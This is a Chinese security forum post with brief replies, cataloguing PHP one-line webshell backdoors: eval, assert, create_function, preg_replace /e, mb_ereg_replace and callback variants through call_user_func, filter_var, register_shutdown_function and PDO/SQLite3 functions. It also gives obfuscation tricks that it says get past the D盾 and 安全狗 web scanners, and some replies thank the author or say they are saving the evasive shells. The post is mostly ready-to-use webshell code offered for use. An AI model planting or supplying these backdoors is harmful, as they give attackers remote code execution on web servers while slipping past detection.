用户
搜索
  • TA的每日心情
    开心
    昨天 13:08
  • 签到天数: 44 天

    连续签到: 44 天

    [LV.5]常住居民I

    i春秋-见习白帽

    Rank: 3Rank: 3

    31

    主题

    71

    帖子

    1226

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2020-10-2
    发表于 2021-3-10 17:45:57 718564

    php一句话后门

    开发很久的可利用函数

    eval和assert

    php任意代码执行的一句话后门,我们喜欢用的是传统的eval,php5,7通用。

    <?php @eval($_POST['a']) ?>

    但由于eval不能拆分,早期也有人喜欢用assert,这样通过编码和拆分assert,隐蔽性更高

    <?php @assert($_POST['a']) ?>

    虽然有人说assert在php7.0及其以上版本被禁用,但实际上并没有禁用,而是和eval一样禁止拆分了。

    绝大部分一句话后门,都跟这两个函数(其实不是函数)有关

    create_function和preg_replace函数

    create_function,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用

    <?php $st=@create_function('',$_POST['a']);$st();?>

    /e修饰符,也就是大家熟知的preg_replace。这个则是真的php7用不了了,仅限php5。

    <?php @preg_replace('/.*/e',$_POST['a'],'');?>

    除了preg_replace之外,还有一个和它类似的函数。

    <?php @preg_filter('/.*/e',$_POST['a'],'');?>

    这两个都是仅限php5的,php7也想用这种方法怎么办呢?有办法,php并没有完全将/e修饰符赶尽杀绝。

    <?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
    <?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>

    它们甚至还有别名

    <?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
    <?php @mberegi_replace('.*',$_POST['a'],'','ee');?>

    绕D盾方法

    上面这些都开发出来很久了,单纯拿这些去绕D盾是很难的,这里也不是来教大家绕D盾的。想绕的话,其实D盾对类的检测力度不高,自己写个混淆一点的类,php5用assert拆分,php7用create_function拆分其实就很容易绕过去。举个例子

    //该例子为create_function拆分,php5.3.29和5.2.17测试完不可行,php5.4.45-php7都可行。故php5用assert拆分,php7用create_function拆分这样最稳
    <?php
    class create{
    public $filter = ['q'=>'_function'];
    public $value = '';
    public function __construct(){
    $this->value = $_POST['a'];
    $name=get_class($this).$this->filter['q'];
    $st=$name('',$this->value);
    $st();
    }
    }
    $a = new create();

    免杀一句话木马之回调函数

    回调函数的本质是下面这种代码,以函数作为变量。

    <?php $_GET['a']($_GET['b']);?>

    比较老的回调后门

    URL地址:http://127.0.0.1/1.php 连接密码:pass

    php中call_user_func是执行回调函数的标准方法,这是比较老的后门了:

    <?php
    call_user_func('assert', $_REQUEST['pass']);
    <?php
    call_user_func_array('assert', array($_REQUEST['pass']));

    真免杀回调后门(过安全狗,D盾)

    URL地址:http://127.0.0.1/1.php?e=assert 连接密码:pass

    <?php
    filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
    <?php
    filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
    <?php
    $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['pass']);
    <?php
    mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

    下面这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的:

    <?php
    $e = $_REQUEST['e'];
    $db = new PDO('sqlite:sqlite.db3');
    $db->sqliteCreateFunction('myfunc', $e, 1);
    $sth = $db->prepare("SELECT myfunc(:exec)");
    $sth->execute(array(':exec' => $_REQUEST['pass']));

    上面这种sqlite方法是依靠PDO执行的。我们也可以直接调用sqlite3的方法构造回调后门,前提是php5.3以上。

    <?php
    $e = $_REQUEST['e'];
    $db = new SQLite3('sqlite.db3');
    $db->createFunction('myfunc', $e);
    $stmt = $db->prepare("SELECT myfunc(?)");
    $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
    $stmt->execute();
    从上传拦截,到制作免杀木马绕过拦截。
    剑未佩妥出门已是江湖
    使用道具 举报 回复
    发表于 2021-3-11 20:10:20
    感谢分享
    使用道具 举报 回复
    开心   免杀马赶紧收藏一波~
    使用道具 举报 回复
    发表于 2021-3-13 23:32:54
    谢谢分享
    路虽远,行则必达。事虽难,做则必成。
    使用道具 举报 回复
    发表于 2021-4-1 18:05:13
    不错,继续努力吧。
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2021-4-4 12:58:07
    村长CZ 发表于 2021-4-1 18:05
    不错,继续努力吧。

    谢谢村长!
    使用道具 举报 回复
    发表于 2021-4-4 13:03:18
    一起学习!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册